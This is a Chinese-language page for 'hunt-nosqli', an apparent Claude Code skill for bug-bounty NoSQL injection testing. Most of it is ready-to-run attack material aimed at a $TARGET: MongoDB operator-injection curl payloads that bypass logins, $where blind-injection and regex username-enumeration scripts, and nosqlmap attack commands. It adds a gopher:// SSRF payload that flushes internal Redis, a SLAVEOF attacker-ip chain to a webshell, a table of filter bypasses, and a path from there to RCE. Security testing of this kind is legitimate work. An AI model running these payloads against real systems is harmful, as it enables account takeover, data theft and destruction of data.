关于 hunt-nosqli
hunt-nosqli 是用于检测和验证 NoSQL 注入的安全测试技能,涵盖认证绕过、数据提取和盲注方法,面向评估 Web API 与数据库应用的研究人员。
主要功能
- 01MongoDB 操作符注入测试
- 02盲 JavaScript 注入检查
- 03URL 参数与 JSON 负载测试
- 04检查经由 SSRF 访问 Redis 的攻击链
- 05验证标准与严重性指引
适用场景
- 01测试 JSON 登录端点的认证绕过
- 02评估搜索与筛选参数
- 03验证未授权数据提取
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-nosqli安装后在 Claude Code 中输入/hunt-nosqli确认已加载。
详细介绍
HUNT-NOSQLI — NoSQL 注入
皇冠级目标
NoSQL 注入最有价值的情况,是绕过身份验证(严重)或泄露整个用户集合(高危)。
价值最高的攻击链:
- MongoDB 身份验证绕过 —
{"username": {"$gt": ""}, "password": {"$gt": ""}}会以集合中的第一个用户身份登录(通常是管理员) - $where JS 注入 — 如果启用了 $where:盲注 → 数据外泄
- Redis 命令注入 — 通过 SSRF 或直接 TCP,执行 SLAVEOF attacker-ip → 写入配置 → WebShell
- Elasticsearch 注入 — 使用 Groovy 脚本注入 _search 端点(5.0 之前)→ RCE
攻击面信号
URL 和参数模式
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
技术栈信号
| 信号 | 攻击向量 |
|---|---|
| 响应中出现 MongoDB 错误消息 | 运算符注入 |
| JS 包中出现 mongoose / monk | ODM 模式 |
| X-Powered-By: Express | Node.js + MongoDB 常见技术栈 |
| CouchDB/_utils UI 暴露 | Futon/Fauxton 管理界面 |
| Redis 端口 6379 开放(通过 SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 开放 | 脚本注入 |
分步测试方法
阶段 1 — 身份验证绕过(MongoDB)
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
阶段 2 — URL 参数注入
# Array notation (Express/PHP-style)
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
阶段 3 — $where 盲注(基于时间)
# Test if $where is enabled (time-based detection, 5s delay)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
阶段 4 — 通过正则表达式转储数据
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
阶段 5 — 自动化
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
阶段 6 — 通过 SSRF 访问 Redis
# If SSRF found, probe internal Redis via gopher://
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
绕过表
| 防御措施 | 绕过方式 |
|---|---|
| JSON.parse 拒绝对象 | 使用数组:password[$ne]=x(URL 参数) |
清理 $ | 使用 Unicode:$gt |
| 阻止运算符键 | 在结构更深层嵌套对象 |
攻击链表
| NoSQLi 发现 | 链接到 | 影响 |
|---|---|---|
| 身份验证绕过 | 访问管理面板 | 完全控制管理员权限 |
| 通过正则表达式枚举用户 | 凭证填充攻击 | 大规模 ATO |
| 启用 $where | 在数据库进程中执行任意 JS | 数据外泄或 DoS |
| 通过 SSRF 访问 Redis | CONFIG SET / SLAVEOF | WebShell 或数据外泄 |
验证
✅ 身份验证绕过:无需有效凭证即可登录,并收到有效的会话令牌 ✅ 数据转储:返回了你无权访问的用户/文档 ✅ 盲注:通过时间延迟(持续超过 4 秒)确认
严重程度:
- 以管理员身份绕过身份验证:严重
- 转储用户集合:高危
- 盲注(无法有效外泄数据):中危
验证
运行此自检,确认 nosqli 测试准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录相关陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试可验证技能结构正确且已准备就绪。
陷阱
- 没有数据外泄的 NoSQL 注入 — 返回 true/false 的 NoSQL 盲注更难利用。需要提取数据或绕过身份验证。
- 没有枚举证据的 $regex 注入 — 如果
$regex可注入,应演示基于时间或布尔值的数据提取。 - MongoDB $where 注入 —
$where会执行 JavaScript。这是影响最大的 NoSQL 注入变体。 - 运算符注入与值注入 — 在值字段中注入
{"$gt":""}与在查询结构中注入运算符属于不同的攻击类型。
相关技能
hunt-sqli— 传统 SQL 注入可与 NoSQL 注入互补;在同一个参数上测试两者。利用链原语:参数同时接受 SQL' OR 1=1--和 NoSQL{$gt:""}— 先测试 SQL,再测试 NoSQL 运算符注入。hunt-auth-bypass— NoSQLi 登录绕过({\"$ne\":\"\"})属于身份验证绕过原语,而不是数据读取。利用链原语:NoSQLi$gt绕过 → 管理面板 → 继续利用以提升权限。hunt-ssrf— 通过 SSRF 利用 Redis 是从 NoSQL 注入到 RCE 的典型路径。利用链原语:SSRF →gopher://redis:6379/_CONFIG SET...→ 写入 cron → RCE。hunt-rce— 如果 MongoDB 数据库进程可以访问 JS 引擎,则$whereJavaScript 注入可触达child_process。利用链原语:通过$where中的 sleep(5000) 确认 → 使用 JSthis.password导出数据 → 破解管理员哈希。security-arsenal— 获取 NoSQL payload 树:$gt、$ne、$regex、$nin、$where、$exists运算符、MongoDB 身份验证绕过 JSON、PHP 数组注入param[$regex]=.*模式。triage-validation— 应用 Pre-Severity Gate。只能以集合中的第一个用户(通常是测试或管理员账户)身份登录的 NoSQL 身份验证绕过属于 Critical;如果只能以随机用户身份登录,且无法指定目标受害者,则可能属于 Medium。
评论
支持 Markdown